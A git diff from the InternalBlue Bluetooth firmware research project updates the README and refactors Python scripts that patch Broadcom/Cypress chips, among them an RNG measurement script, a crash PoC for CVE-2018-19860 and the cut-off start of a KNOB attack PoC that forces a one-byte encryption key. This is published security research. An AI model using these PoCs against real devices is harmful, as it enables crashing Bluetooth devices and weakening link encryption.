Currently, there is no package published on PyPI for Python 3, this will happen in the near future.
|
||||
|
||||
|
||||
### Install as package from GitHub `master` or any other branch
|
||||
@@ -78,12 +79,14 @@ pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.
|
||||
|
||||
### Development Install
|
||||
|
||||
If you except that you might want to read the code locally, debug it
|
||||
If you expect that you might want to read the code locally, debug it
|
||||
or possibly change it you should setup an editable install.
|
||||
|
||||
```sh
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install --editable ./
|
||||
```
|
||||
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
|
||||
@@ -96,10 +99,26 @@ hub fork # requires https://github.com/cli/cli to be set up before
|
||||
git checkout -b $your_new_feature_branch
|
||||
```
|
||||
|
||||
### Full Install including assembly, disassembly etc.
|
||||
Perform all steps of the development install, but additionally tell `pip` to install the `binutils` requirements as well.
|
||||
```sh
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install --editable .\[binutils\]
|
||||
```
|
||||
|
||||
### Dependencies
|
||||
|
||||
It will install the following dependencies:
|
||||
InternalBlue will by default install the following dependencies:
|
||||
* `cmd2`
|
||||
* `pure-python-adb`
|
||||
|
||||
If you opt for the full set of features, additionally these dependencies are installed:
|
||||
|
||||
* `pwntools`
|
||||
* `pyelftools`
|
||||
|
||||
The `pwntools` module needs the `binutils` package for ARM 32-bit to be installed
|
||||
on the system. This has to be installed manually by using the packet manager
|
||||
|
||||
@@ -2,12 +2,18 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import numpy as np
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p32
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20719 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
@@ -30,7 +36,7 @@ Changes:
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
|
||||
@@ -122,54 +128,49 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = 'hci0' #internalblue.device_list()[0][1] # just use the first device
|
||||
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
internalblue.logger.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
|
||||
# internalblue.logger.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
|
||||
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
|
||||
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
# Disable functions that crash us when using the target memory region
|
||||
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
|
||||
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0xD2DEC, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -178,6 +179,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -185,22 +188,20 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -211,7 +212,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -220,7 +221,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -231,22 +232,18 @@ while rounds > i:
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20719-randomdata-%irounds-0xc00-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -3,16 +3,16 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p32
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20719 Evaluation Board.
|
||||
@@ -36,7 +36,7 @@ Changes:
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
|
||||
@@ -125,54 +125,49 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
internalblue.logger.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_internalblue.logger.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
|
||||
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
|
||||
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
# Disable functions that crash us when using the target memory region
|
||||
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
|
||||
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0xD2DEC, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -181,6 +176,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -188,22 +185,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -214,7 +208,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -223,7 +217,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -234,21 +228,18 @@ while rounds > i:
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20719-randomdata_pseudo-%irounds-0xc00-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.bluezcore import BluezCore
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board.
|
||||
@@ -13,35 +12,35 @@ internalblue = ADBCore()
|
||||
try:
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
|
||||
except IndexError:
|
||||
internalblue = BluezCore()
|
||||
internalblue = HCICore()
|
||||
try:
|
||||
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
|
||||
except IndexError:
|
||||
log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
|
||||
internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
|
||||
exit(-1)
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Connected to first target, installing patches...")
|
||||
progress_log = internalblue.logger.info("Connected to first target, installing patches...")
|
||||
|
||||
# GENERATED PATCHES
|
||||
internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc')
|
||||
internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc')
|
||||
internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb')
|
||||
internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
|
||||
internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
|
||||
internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
|
||||
internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
|
||||
internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
|
||||
internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
|
||||
internalblue.writeMem(0x00218200, b'\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
|
||||
internalblue.writeMem(0x00218300, b'\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
|
||||
internalblue.writeMem(0x00218500, b'\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
|
||||
internalblue.writeMem(0x00218600, b'\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
|
||||
internalblue.writeMem(0x00218800, b'\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
|
||||
internalblue.writeMem(0x00218000, b'\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
|
||||
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
|
||||
|
||||
@@ -2,11 +2,10 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
# PoC for CVE-2018-19860
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p32
|
||||
|
||||
"""
|
||||
This is a crash only test for CVE-2018-19860. Install this patch and connect
|
||||
@@ -29,10 +28,10 @@ is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
|
||||
will be replied with LMP_not_accepted).
|
||||
|
||||
"""
|
||||
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
|
||||
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
|
||||
ASM_LOCATION_VSC_EXISTS = 0x00218300
|
||||
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 # TODO change this depending on fuzz range
|
||||
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
|
||||
LMP_VSC_CMD_START = 0x0f # 0xcf #0x52 # TODO change this depending on fuzz range
|
||||
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
|
||||
ASM_SNIPPET_VSC_EXISTS = """
|
||||
b vsc_iterate
|
||||
b send_lmp
|
||||
@@ -116,48 +115,46 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches to crash other device on connect requests...")
|
||||
internalblue.logger.info("Installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
|
||||
# they don't know about Cypress yet...
|
||||
progress_log = log.info("Changing vendor ID from Cypress to Broadcom.")
|
||||
if not internalblue.writeMem(address=0x2020f0, data='\x0f\x00\x00\x00', progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
internalblue.logger.info("Changing vendor ID from Cypress to Broadcom.")
|
||||
if not internalblue.writeMem(address=0x2020f0, data=b'\x0f\x00\x00\x00', progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP BPSC table lookup.")
|
||||
internalblue.logger.info("Writing ASM snippet for LMP BPSC table lookup.")
|
||||
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing predefined hook for LMP BPSC table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
|
||||
internalblue.logger.info("Installing predefined hook for LMP BPSC table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
internalblue.logger.info("Writing ASM snippet for LMP BPSC existence check.")
|
||||
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
log.info("Installing LMP BPSC existence hook patch...")
|
||||
internalblue.logger.info("Installing LMP BPSC existence hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
|
||||
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
|
||||
log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("------------------")
|
||||
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
|
||||
internalblue.logger.info("------------------")
|
||||
internalblue.logger.info(
|
||||
"To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
@@ -1,10 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
import sys
|
||||
import argparse
|
||||
from argparse import Namespace
|
||||
|
||||
import cmd2
|
||||
from cmd2 import CommandSet
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from internalblue import Address, hci
|
||||
from internalblue.cli import InternalBlueCLI, auto_int
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p16, u16
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
|
||||
@@ -16,17 +24,15 @@ This PoC is much shorter since it only modifies global variables for key entropy
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
|
||||
